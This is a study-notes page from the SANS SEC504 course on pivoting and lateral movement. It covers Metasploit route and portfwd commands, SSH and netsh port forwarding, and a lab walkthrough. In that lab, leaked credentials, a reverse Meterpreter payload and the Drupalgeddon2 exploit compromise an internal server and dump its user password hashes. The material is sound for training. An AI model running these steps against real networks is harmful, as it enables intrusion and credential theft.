FaresMorcy
  • Whoami
  • Footprinting Labs
    • Lab - Easy
    • Lab - Medium
    • Lab - Hard
  • Shells & Payloads
    • The Live Engagement
  • Password Attacks
    • Lab - Easy
    • Lab - Medium
    • Lab - Hard
  • SOC Hackthebox Notes & Labs
    • Security Monitoring & SIEM Fundamentals Module
    • Windows Event Logs & Finding Evil Module
    • Introduction to Threat Hunting & Hunting With Elastic Module
    • Understanding Log Sources & Investigating with Splunk Module
      • Introduction To Splunk & SPL
      • Using Splunk Applications
      • Intrusion Detection With Splunk (Real-world Scenario)
      • Detecting Attacker Behavior With Splunk Based On TTPs
      • Detecting Attacker Behavior With Splunk Based On Analytics
      • Skills Assessment
    • Windows Attacks & Defense
      • Kerberoasting
      • AS-REProasting
      • GPP Passwords
      • GPO Permissions/GPO Files
      • Credentials in Shares
      • Credentials in Object Properties
      • DCSync
      • Golden Ticket
      • Kerberos Constrained Delegation
      • Print Spooler & NTLM Relaying
      • Coercing Attacks & Unconstrained Delegation
      • Object ACLs
      • PKI - ESC1
      • Skills Assessment
    • Intro to Network Traffic Analysis Module
    • YARA & Sigma for SOC Analysts Module
      • Developing YARA Rules
      • Hunting Evil with YARA (Windows Edition)
      • Hunting Evil with YARA (Linux Edition)
      • Sigma and Sigma Rules
      • Developing Sigma Rules
      • Hunting Evil with Sigma (Chainsaw Edition)
      • Hunting Evil with Sigma (Splunk Edition)
      • Skills Assessment
  • TryHackme SOC 1
    • TShark
      • TShark: The Basics
      • TShark: CLI Wireshark Features
      • TShark Challenge I: Teamwork
      • TShark Challenge II: Directory
    • Tempest
    • Boogeyman 1
    • Boogeyman 2
    • Boogeyman 3
  • TryHackme SOC 2
    • Advanced Splunk
      • Splunk: Exploring SPL
      • Splunk: Setting up a SOC Lab
      • Splunk: Dashboards and Reports
      • Splunk: Data Manipulation
      • Fixit
    • Advanced ELK
      • Slingshot
    • Threat Hunting
      • Threat Hunting: Foothold
      • Threat Hunting: Pivoting
      • Threat Hunting: Endgame
  • TryHackme Rooms
    • Investigating Windows
    • Splunk 2
    • Windows Network Analysis
  • Powershell Scripting Fundamentals
  • SANS SEC504 & Labs
    • Book one
      • Live Examination
      • Network Investigations
      • Memory Investigations
      • Malware Investigations
      • Accelerating IR with Generative AI
      • Bootcamp: Linux Olympics
      • Bootcamp: Powershell Olympics
    • Book Two
      • Hacker Tools and Techniques Introduction
      • Target Discovery and Enumeration
      • Discovery and Scanning with Nmap
      • Cloud Spotlight: Cloud Scanning
      • SMB Security
      • Defense Spotlight: Hayabusa and Sigma Rules
    • Book Three
      • Password Attacks
      • Cloud Spotlight: Microsoft 365 Password Attacks
      • Understanding Password Hashes
      • Password Cracking
      • Cloud Spotlight: Insecure Storage
      • Multipurpose Netcat
    • Book Four
      • Metasploit Framework
      • Drive-By Attacks
      • Command Injection
      • Cross-Site Scripting
      • SQL Injection
      • Cloud Spotlight: SSRF and IMDS
    • Book Five
      • Endpoint Security Bypass
      • Pivoting and Lateral Movement
      • Hijacking Attacks
      • Establishing Persistence
      • Defense Spotlight: RITA
      • Cloud Spotlight: Cloud Post-Exploitation
  • SANS SEC511 & Labs
    • Resources
      • Primers
      • References
      • Tools
        • Network
        • Elastic Stack
      • Printable Versions
    • Book One
      • Part One
      • Part Two
      • Part Three
    • Book Two
      • Part One
      • Part Two
      • Part Three
      • Part Four
    • Book Three
      • Part One
      • Part Two
      • Part Three
      • Part Four
    • Book Four
      • Part One
      • Part Two
      • Part Three Lab
      • Part Four Lab
    • Book Five
      • Part One Lab
      • Part Two Lab
      • Part Three Lab
  • CyberDefenders
    • XXE Infiltration Lab
    • T1594 Lab
    • RetailBreach Lab
    • DanaBot Lab
    • OpenWire Lab
    • BlueSky Ransomware Lab
    • Openfire Lab
    • Boss Of The SOC v1 Lab
    • GoldenSpray Lab
    • REvil Lab
    • ShadowRoast Lab
    • SolarDisruption Lab
    • Kerberoasted Lab
    • T1197 Lab
    • Amadey Lab
    • Malware Traffic Analysis 1 Lab
    • Insider Lab
    • Volatility Traces Lab
    • FalconEye Lab
    • GitTheGate Lab
    • Trident Lab
    • NerisBot Lab
  • Practical Windows Forensics
    • Data Collection
    • Examination
    • Disk Analysis Introduction
    • User Behavior
    • Overview of disk structures, partitions and file systems
    • Finding Evidence of Deleted Files with USN Journal Analysis
    • Analyzing Evidence of Program Execution
    • Finding Evidence of Persistence Mechanisms
    • Uncover Malicious Activity with Windows Event Log Analysis
    • Windows Memory Forensic Analysis
  • Hackthebox Rooms
    • Campfire-1
    • Compromised
    • Brutus
    • Trent
    • CrownJewel-1
  • WEInnovate Training
    • Weinnovate - Active Directory Task One
    • Build ELK Lab
      • Configure Elasticsearch and Kibana setup in ubuntu
      • Configure Fluent-Bit to send logs to ELK
      • Set up Winlogbeat & Filebeat for log collection
      • Send Logs from Winlogbeat through Logstash to ELK
      • Enable Windows Audit Policy & Winlogbeat
      • Elasticsearch API and Ingestion Pipeline
    • SOAR
      • Send Alerts To Email & Telegram Bot
      • Integrate Tines with ELK
    • SOC Practical Assessment
    • Lumma C2
    • Network Analysis
  • Build ELK Lab
    • Configure Elasticsearch and Kibana setup in ubuntu
    • Configure Fluent-Bit to send logs to ELK
    • Set up Winlogbeat & Filebeat for log collection
    • Send Logs from Winlogbeat through Logstash to ELK
    • Enable Windows Audit Policy & Winlogbeat
    • Elasticsearch API and Ingestion Pipeline
  • Build Home Lab - SOC Automation
    • Install & configure Sysmon for deep Windows event logging
    • Set up Wazuh & TheHive for threat detection & case management
    • Execute Mimikatz & create detection rules in Wazuh
    • Automate everything with Shuffle
    • Response to SSH Attack Using Shuffle, Wazuh, and TheHive
  • Home Lab (Attack & Defense Scenarios)
    • Pass-the-Hash Attack & Defense
    • Scheduled Task Attack & Defense
    • Kerberoasting Attack & Defense
    • Kerberos Constrained Delegation
    • Password Spraying Attack & Defense
    • Golden Ticket Attack & Defense
    • AS-REProasting Attack & Defense
    • DCSync Attack & Defense
  • Home Lab (FIN7 (Carbanak Group) – Point of Sale (POS) Attack on Hospitality Chains)
  • Home Lab (Lumma Stealer)
Powered by GitBook
On this page
  • Meterpreter Pivoting
  • Meterpreter ROUTE Pivoting
  • Host Discovery and Port Scanning
  • LOL – SSH Port Forwarding
  • LOL – Port Forwarding with netsh
  • Pivoting for Lateral Movement
  • Lab 5.2: Pivot Exploitation
  • Bonus
  1. SANS SEC504 & Labs
  2. Book Five

Pivoting and Lateral Movement

PreviousEndpoint Security BypassNextHijacking Attacks

Last updated 7 months ago

We’ve focused on how attackers first gain access to a target. Now, we’ll discuss pivoting and lateral movement, which help an attacker use that initial access to attack more systems in the same network.

Meterpreter Pivoting

Attackers can use their C2 access to move around and access new devices in the network. A key example is the Meterpreter C2 framework, which can be used during the first attack or from a separate payload made with MsfVenom.

Meterpreter lets attackers access internal networks by using a compromised system as a stepping stone. For example, an attacker at 96.97.98.99 hacks into a system at 10.10.10.11. They then use this system to attack other internal targets that can only be reached from it. The attacker can set up a proxy on 96.97.98.99 to forward traffic through the C2 link, making it look like the traffic is coming from 10.10.10.11.

An attacker could use the same Meterpreter C2 link and other Metasploit tools to attack internal systems with the Meterpreter route command.

meterpreter > portfwd add -l 8000 -r 10.10.10.100 -p 80
[*] Local TCP relay created: :8000 <-> 10.10.10.100:80

An attacker can use the Meterpreter portfwd command to set up port forwarding to a specific IP and port. For example, if they listen on their system's port 8000 (e.g., 96.97.98.99:8000), any connections to that port will be forwarded to the victim's system at 10.10.10.100:80. This works for any IP address and TCP port, not just HTTP.

Meterpreter ROUTE Pivoting

meterpreter > background
[*] Backgrounding session 1...
msf5 exploit(windows/smb/psexec) > route add 10.10.10.0/24 1
msf5 exploit(windows/smb/psexec) > set RHOST 10.10.10.100
msf5 exploit(windows/smb/psexec) > exploit
[*] Started reverse TCP handler on 10.10.10.100:4444
[*] 10.10.10.11:445 - Selecting PowerShell target
[*] 10.10.10.11:445 - Executing the payload...
[+] 10.10.10.11:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (180291 bytes) to 10.10.10.100
[*] Meterpreter session 2 opened (10.10.10.100:4444 -> 10.10.10.11:1622) at 2020-01-24 11:45:31 +0000
meterpreter >

The route command in Meterpreter helps with pivoting. In the example, we start with a Meterpreter session from the exploit/windows/smb/psexec module, then use the background command to go back to the Metasploit console. The message "Backgrounding session 1..." shows that session 1, which is on the victim's system, is now in the background.

To set up a pivot through the victim, an attacker can use the route command in Metasploit to direct access to the 10.10.10.0/24 network through Meterpreter session 1. After this, any Metasploit exploit targeting an IP in that range will go through session 1. In the example, after setting up the route, they use the psexec module again with a new target IP of 10.10.10.100, using the same credentials. The new Meterpreter session is labeled as session 2, and the session ID increases with each new session.

Host Discovery and Port Scanning

meterpreter > run arp_scanner -r 10.10.10.0/24
[*] ARP Scanning 10.10.10.0/24
[*] IP: 10.10.10.1 MAC 00:50:56:c0:00:08
[*] IP: 10.10.10.11 MAC 00:0c:29:76:53:e7
[*] IP: 10.10.10.100 MAC 00:0c:29:76:8a:75
meterpreter > background
msf5 exploit(windows/smb/psexec) > route add 10.10.10.0/24 1
msf5 exploit(windows/smb/psexec) > use auxiliary/scanner/portscan/tcp
msf5 auxiliary(scanner/portscan/tcp) > set RHOSTS 10.10.10.1,11,100
msf5 auxiliary(scanner/portscan/tcp) > set PORTS 22,25,80,135,445,631
msf5 auxiliary(scanner/portscan/tcp) > run
[+] 10.10.10.1: - 10.10.10.1:22 - TCP OPEN
[*] 10.10.10.1,11,100: - Scanned 1 of 3 hosts (33% complete)
[+] 10.10.10.11: - 10.10.10.11:135 - TCP OPEN
[+] 10.10.10.11: - 10.10.10.11:445 - TCP OPEN
[*] 10.10.10.1,11,100: - Scanned 2 of 3 hosts (66% complete)

The Metasploit route feature can be used with auxiliary modules for port scanning. Meterpreter doesn't have its own port scanner, but it can use the arp_scanner module to find devices on the local network. In the example, three hosts are found, and port scanning can follow. Metasploit has tools like nmap and the auxiliary/scanner/portscan/tcp module. By using the route command and loading the tcp module, an attacker can scan internal systems through the Meterpreter connection.

LOL – SSH Port Forwarding

To pivot on compromised Linux or UNIX systems, an attacker can use an SSH server. This lets them access other internal systems. For example, an attacker can connect to a victim's SSH at 10.10.10.11 as user victortimko. By using the -L option, they create a listening port (8000) on their system (e.g., 96.97.98.99:8000). When they connect to port 8000, it forwards to another host (10.10.10.100) on TCP port 80. More -L options can set up additional port forwards.

sec504@slingshot:~$ ssh -L 8000:10.10.10.100:80 victortimko@10.10.10.11
Password:
Last login: Fri Jan 24 07:25:00 2020 from 10.10.10.100
victim:~ $

LOL – Port Forwarding with netsh

C:\WINDOWS\system32> netsh interface portproxy add v4tov4
listenaddress=0.0.0.0 listenport=8000 connectaddress=10.10.10.100
connectport=80
C:\WINDOWS\system32> netstat -nato | findstr :8000
TCP 0.0.0.0:8000 0.0.0.0:0 LISTENING 252 InHost

You can use other tools for port forwarding besides SSH. On UNIX and Linux, Netcat can help with port forwarding through named pipes. On Windows, the netsh command lets you listen on a port and forward traffic to a remote address, but you need admin access. This makes it easier to move from one system to another.

In this case, the listening port is on the victim's computer, not the attacker's. The attacker can still use it to move around the network and hide their attack, but they need to connect to the victim's listening port first.

Pivoting for Lateral Movement

Pivoting in a hacked system gives attackers new chances. They can access more targets, find data, and avoid detection. Lateral movement means using these points to exploit more targets on the network.

Lateral movement uses familiar attack methods but also offers new chances for attackers. Some attacks, like man-in-the-middle (MITM) and local password stealing, can only happen after a breach or if the attacker has a special network position. Here, we’ll explore how attackers move within a network and use pivot points to carry out these attacks.

Lab 5.2: Pivot Exploitation

Attackers can access hard-to-reach internal targets by first compromising an easy one. In this lab, we'll use Metasploit to take control of one host and then use that host to reach another one that’s normally out of reach.

In this lab, we'll use Metasploit to access a target machine at 172.30.0.21, which allows SSH connections. After getting in through SSH, we'll use this machine to explore and attack other systems inside the network.

The lab focuses on a Wardrobe99 branch, an online clothing store. As the security analyst, We find a PasteBin post while doing OSINT research.

Our task is to use this OSINT to evaluate the reported vulnerability and determine the impact to internal Wardrobe99 systems.

Let's start the Metasploit msfconsole tool.

msfconsole -q

In the first part of the attack, we'll use the leaked SSH credentials to access the SSH server. From the msf6 > prompt, let's look for the sshexec exploit.

search sshexec

The sshexec exploit works like the psexec exploit but targets Linux and UNIX systems. We can load it using the shortcut use 0.

Next, let's set up the module for the target system (172.30.0.21) using the username and password for mpoor/forgecaptain. We'll use the default linux/x86/meterpreter/reverse_tcp payload and set the listener host to the Slingshot Linux VM with the shortcut value eth0.

set RHOSTS 172.30.0.21
set USERNAME mpoor
set PASSWORD forgecaptain
set LHOST eth0

Next, let's run the exploit command. After a few seconds, we’ll see the meterpreter > prompt, which means we have remote access to the target.

exploit

We've set up remote access to the target system using Meterpreter on port TCP/4444. Next, we'll gather more information about the target using the same session.

Let's type shell to open a command line on the SSH victim system. We won't see a normal $ prompt, but we can still run commands. Use ifconfig to list the network interfaces on the victim system.

shell

The output shows that the eth0 interface was used to connect to the system, and there's also a new network on eth1: 172.40.0.2/255.255.255.0.

Let's use the exit command to leave the shell and go back to the meterpreter session.

To connect to the remote network 172.40.0.0/255.255.255.0, we'll use the Meterpreter link to the victim at 172.30.0.21. We'll use the background command to go back to the msfconsole prompt.

Next, we'll use the Meterpreter route command to create a new route from our attacking system, through the compromised system at 172.30.0.21, to the remote network 172.40.0.0/255.255.255.0.

route add 172.40.0.0 255.255.255.0 1

This way of adding the route lets the attacker use the 172.30.0.21 host to connect to other devices in the 172.40.0.0 network by reusing the Meterpreter session.

Next, we'll scan for more hosts in the 172.40.0.0 network using the new route. The scan will look like it's coming from the 172.30.0.21 host.

To scan a remote network using Meterpreter, we'll use the Metasploit module auxiliary/scanner/portscan/tcp. Let's load this module and set the target range from 172.40.0.3 to 172.40.0.20, focusing on common HTTP ports.

use auxiliary/scanner/portscan/tcp
set RHOSTS 172.40.0.3-20
set PORTS 80,443,8000,8080

Let's use the run command to start the auxiliary scanner.

run

The scan found a new host at 172.40.0.10 with a service on TCP/80, probably an HTTP server.

Next, we'll do more HTTP scanning on the new server using Metasploit's http_header scanner module.

use auxiliary/scanner/http/http_header
set rhosts 172.40.0.10

This Metasploit module gets HTTP headers, showing an Apache 2.4.25 server on Debian Linux with PHP 7.2.3 for a Drupal 8 site, which is a CMS known for past vulnerabilities.

Next, we'll use the pivot host to attack the Drupal server. Let's use the Metasploit search command to find a highly reliable Drupal exploit.

search type:exploit rank:excellent drupal

Let's use the third one use 2 to load the Drupalgeddon2 exploit, then run show info to view its details.

use 2
show info

The info shows it works with some Drupal 8 sites. Now, we'll use the exploit to get remote access to the server.

set rhosts 172.40.0.10
set lhost eth0

We use the pivot host (172.30.0.21) to send the Drupalgeddon2 exploit to the 172.40.0.10 server through a Meterpreter session with a reverse TCP payload. Once exploited, the reverse Meterpreter session connects back to the attacker at 10.10.75.1.

A new Meterpreter session from the 172.40.0.10 server has been established. We'll now focus on the access gained through the Drupalgeddon2 exploit and simulate an attacker by collecting data

Let's use the Meterpreter session to download the Drupal database from /var/www/html/sites/default/files/.ht.sqlite using the download command.

download /var/www/html/sites/default/files/.ht.sqlite

Next, let's background our session and use the sqlite3 command to dump the Drupal user password hash table users_field_data.

sqlite3 .ht.sqlite ".dump users_field_data"

This command got the password hashes for the Drupal server users: admin, josh, and steve.

Bonus

To access the Drupal server at 172.40.0.10 using SSH instead of Metasploit, first SSH into the server with the username mpoor and password forgecaptain. Then, use the -L option to set up a TCP listener on the Slingshot Linux system to forward connections to the Drupal server at 172.40.0.10:80.

ssh -L 8000:172.40.0.10:80 mpoor@172.30.0.21

While the SSH session is open, let's open a new terminal window. Run netstat -nat to check the new TCP port listening on 127.0.0.1:8000.

netstat -nat

To access the Drupal server, let's open Firefox and go to http://127.0.0.1:8000.

The target system is reachable at 127.0.0.1:8000. We can exploit it with Metasploit again. For the unix/webapp/drupal_drupalgeddon2 exploit, we'll set RHOSTS to 127.0.0.1 and RPORT to 8000.

The attacker can connect to the victim at 10.10.10.11 using the SSH command with the option -D 3128. This sets up a SOCKS proxy on their system, letting them use any compatible client to send traffic through the SSH tunnel. SSH also offers various port forwarding options, including dynamic and reverse port forwarding. For more details on SSH tunneling, check out .

https://www.ssh.com/ssh/tunneling/example